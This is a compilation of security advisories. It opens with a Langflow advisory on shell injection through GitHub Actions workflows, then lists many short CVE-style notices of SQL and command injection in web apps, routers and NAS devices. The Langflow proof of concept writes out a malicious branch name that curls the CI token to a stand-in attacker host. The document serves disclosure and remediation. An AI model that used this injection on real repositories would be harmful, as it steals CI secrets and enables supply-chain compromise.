Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

A vulnerability was found in Tenda F456 1.0.0.5. This impacts the function FromWriteFacMac of the file /goform/WriteFacMac of the component httpd. The manipulation of the argument mac results in command injection. The attack can be executed remotely. The exploit has been made public and could be used.

A vulnerability was determined in baomidou dynamic-datasource 2.5.0. Affected by this vulnerability is the function DsSpelExpressionProcessor#doDetermineDatasource of the file dynamic-datasource-spring/src/main/java/com/baomidou/dynamic/datasource/processor/DsSpelExpressionProcessor.java of the component StandardEvaluationContext/SpelExpressionParser. This manipulation causes injection. The attack may be initiated remotely. Patch name: 273fcedaee984c08197c0890f14190b86ab7e0b8. It is recommended to apply a patch to fix this issue.

A vulnerability was determined in code-projects Employee Management System 1.0. This affects an unknown part of the file 370project/edit.php. This manipulation of the argument ID causes sql injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized.

A vulnerability was identified in code-projects Employee Management System 1.0. This vulnerability affects unknown code of the file 370project/delete.php. Such manipulation of the argument ID leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.

A vulnerability was found in code-projects Patient Record Management System 1.0. It has been classified as critical. Affected is an unknown function of the file /xray_print.php. The manipulation of the argument itr_no leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

A weakness has been identified in code-projects Employee Management System 1.0. Impacted is an unknown function of the file 370project/approve.php. Executing a manipulation of the argument id/token can lead to sql injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks.

A security flaw has been discovered in code-projects Easy Blog Site 1.0. This affects an unknown function of the file post.php. Performing a manipulation of the argument tags results in sql injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.

A security flaw has been discovered in PHPGurukul Online Shopping Portal Project 2.1. The affected element is an unknown function of the file /order-details.php of the component Parameter Handler. The manipulation of the argument orderid results in sql injection. It is possible to launch the attack remotely.

A flaw has been found in phili67 Ecclesia CRM up to 8.0.0. This affects the function ValidateInput of the file /v2/query/view/ of the component Query Viewer Component. This manipulation of the argument custom causes sql injection. The attack can be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A flaw has been found in itsourcecode Construction Management System 1.0. The impacted element is an unknown function of the file /del1.php. This manipulation of the argument toolname causes sql injection. Remote exploitation of the attack is possible. The exploit has been published and may be used.

A vulnerability was found in itsourcecode Construction Management System 1.0. This affects an unknown part of the file /borrowed_tool.php of the component Parameter Handler. The manipulation of the argument emp results in sql injection. It is possible to launch the attack remotely. The exploit has been made public and could be used.

A vulnerability was detected in ByteDance coze-studio up to 0.5.1. Affected by this vulnerability is the function ExecuteSQL of the file backend/domain/memory/database/service/database_impl.go of the component databaseTool. Performing a manipulation results in sql injection. The attack can be initiated remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A flaw has been found in code-projects Patient Record Management System 1.0. The affected element is an unknown function of the file /hematology_print.php. Executing a manipulation of the argument hem_id can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used.

A security flaw has been discovered in efforthye fast-filesystem-mcp up to 3.5.1. The affected element is the function handleGetDiskUsage of the file src/index.ts. Performing a manipulation results in command injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

A vulnerability has been found in code-projects Patient Record Management System 1.0. The impacted element is an unknown function of the file /edit_hpatient.php. The manipulation of the argument ID leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

A security vulnerability has been detected in halex CourseSEL up to 1.1.0. Affected by this vulnerability is the function check_sel of the file Apps/Index/Controller/IndexController.class.php of the component HTTP GET Parameter Handler. The manipulation of the argument seid leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in AutohomeCorp frostmourne up to 1.0. Affected is the function httpTest of the file /api/monitor-api/alarm/previewData of the component Alarm Preview. The manipulation results in sql injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.

A weakness has been identified in shsuishang modulithshop up to 829bac71f507e84684c782b9b062b8bf3b5585d6. The impacted element is the function listItem of the file src/main/java/com/suisung/shopsuite/pt/service/impl/ProductIndexServiceImpl.java of the component ProductItemDao Interface. Executing a manipulation of the argument sidx/sort can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. This patch is called 42bcb9463425d1be906c3b290cf29885eb5a2324. A patch should be applied to remediate this issue.

A vulnerability was identified in QueryMine sms up to 7ab5a9ea196209611134525ffc18de25c57d9593. This vulnerability affects unknown code of the file admin/editcourse.php of the component GET Request Parameter Handler. The manipulation of the argument ID leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was determined in itsourcecode Construction Management System 1.0. The impacted element is an unknown function of the file /borrowed_equip.php of the component Parameter Handler. This manipulation of the argument emp causes sql injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized.

A flaw has been found in PHPGurukul PHPGurukul Online Shopping Portal Project up to 2.1. Impacted is an unknown function of the file /pending-orders.php of the component Parameter Handler. This manipulation of the argument ID causes sql injection. The attack is possible to be carried out remotely. The exploit has been published and may be used.

A weakness has been identified in itsourcecode Construction Management System 1.0. Affected by this issue is some unknown functionality of the file /borrowed_tool_report.php. This manipulation of the argument Home causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.

A security flaw has been discovered in CodeAstro Online Classroom 1.0/2.php. Affected by this vulnerability is an unknown functionality of the file /OnlineClassroom/takeassessment2.php?exid=14. Performing a manipulation of the argument Q1 results in sql injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.

A vulnerability was identified in wbbeyourself MAC-SQL up to 31a9df5e0d520be4769be57a4b9022e5e34a14f4. This affects the function _execute_sql of the file core/agents.py of the component Refiner Agent. The manipulation leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability has been found in code-projects Hospital Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/doctor-specilization.php. The manipulation of the argument doctorspecilization leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

A vulnerability was identified in CodeAstro Online Classroom 1.0. Impacted is an unknown function of the file /OnlineClassroom/addvideos.php of the component Parameter Handler. The manipulation of the argument videotitle leads to sql injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.

A vulnerability was determined in Campcodes Complete POS Management and Inventory System up to 4.0.6. This affects an unknown function of the file app/Http/Controllers/SettingsController.php of the component Environment Variable Handler. Executing a manipulation can lead to injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.

A vulnerability was found in PHPGurukul Restaurant Table Booking System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /admin/add-subadmin.php. The manipulation of the argument fullname leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well.

A vulnerability has been found in PHPGurukul Online Shopping Portal Project 2.1. The affected element is an unknown function of the file /admin/update-image2.php of the component Parameter Handler. The manipulation of the argument filename leads to sql injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.

A vulnerability has been found in Tenda F453 up to 1.0.0.3. Impacted is the function TendaTelnet of the file /goform/telnet of the component Telnet Service. Such manipulation leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

A vulnerability was determined in AstrBotDevs AstrBot up to 4.22.1. Impacted is the function add_mcp_server of the file astrbot/dashboard/routes/tools.py of the component MCP Endpoint. This manipulation of the argument command causes command injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

A vulnerability classified as critical has been found in code-projects Patient Record Management System 1.0. This affects an unknown part of the file /birthing_print.php. The manipulation of the argument itr_no/birth_id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

A flaw has been found in PHPGurukul Online Shopping Portal Project 2.1. Impacted is an unknown function of the file /admin/update-image3.php of the component Parameter Handler. Executing a manipulation of the argument filename can lead to sql injection. The attack can be executed remotely. The exploit has been published and may be used.

A flaw has been found in itsourcecode Construction Management System 1.0. This affects an unknown function of the file /borrowedtool.php. Executing a manipulation of the argument code can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used.

A security flaw has been discovered in PHPGurukul Online Shopping Portal Project 2.1. Affected by this issue is some unknown functionality of the file /categorywise-products.php of the component Parameter Handler. The manipulation of the argument cid results in sql injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.

A vulnerability has been found in PHPGurukul e-Diary Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file /search-result.php. The manipulation of the argument id/searchdata leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

A vulnerability was determined in liangliangyy DjangoBlog up to 2.1.0.0. The affected element is the function CommandHandler of the file servermanager/api/commonapi.py of the component WeChat Bot Interface. Executing a manipulation of the argument Source can lead to command injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was determined in CodeAstro Online Classroom 1.0. This issue affects some unknown processing of the file /OnlineClassroom/updatedetailsfromfaculty.php?myfid=108 of the component Parameter Handler. Executing a manipulation of the argument fname can lead to sql injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

A weakness has been identified in PHPGurukul Online Shopping Portal Project 2.1. This affects an unknown part of the file /cancelorder.php of the component Parameter Handler. This manipulation of the argument oid causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks.

A vulnerability has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. The impacted element is the function cgi_refresh_db/FTP_Server_BlockIP_Add/FTP_Server_BlockIP_Del of the file /cgi-bin/app_mgr.cgi. Such manipulation leads to command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.

A vulnerability was determined in SourceCodester Sales and Inventory System 1.0. This impacts an unknown function of the file /view_category.php of the component HTTP POST Request Handler. This manipulation of the argument searchtxt causes sql injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.

A weakness has been identified in Totolink A3300R 17.0.0cu.557_b20221024. This issue affects the function setUPnPCfg of the file /cgi-bin/cstecgi.cgi. This manipulation of the argument enable causes command injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.

A weakness has been identified in SourceCodester Sales and Inventory System 1.0. Affected by this issue is some unknown functionality of the file /view_product.php of the component HTTP POST Request Handler. Executing a manipulation of the argument searchtxt can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks.

A vulnerability was detected in code-projects Simple Food Ordering System 1.0. Affected by this issue is some unknown functionality of the file all-tickets.php. The manipulation of the argument Status results in sql injection. It is possible to launch the attack remotely. The exploit is now public and may be used.

A vulnerability has been found in itsourcecode College Management System 1.0. The impacted element is an unknown function of the file /admin/search_student.php. The manipulation of the argument Search leads to sql injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.

A security flaw has been discovered in SourceCodester Sales and Inventory System 1.0. Affected by this vulnerability is an unknown functionality of the file /view_payments.php of the component HTTP POST Request Handler. Performing a manipulation of the argument searchtxt results in sql injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.

A vulnerability was detected in elecV2 elecV2P up to 3.8.3. This vulnerability affects the function runJSFile of the file /webhook of the component JSON Parser. Performing a manipulation of the argument rawcode results in code injection. Remote exploitation of the attack is possible. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

A weakness has been identified in Totolink A3300R 17.0.0cu.557_b20221024. Affected by this vulnerability is the function setWiFiBasicCfg of the file /cgi-bin/cstecgi.cgi. Executing a manipulation of the argument rxRate can lead to command injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks.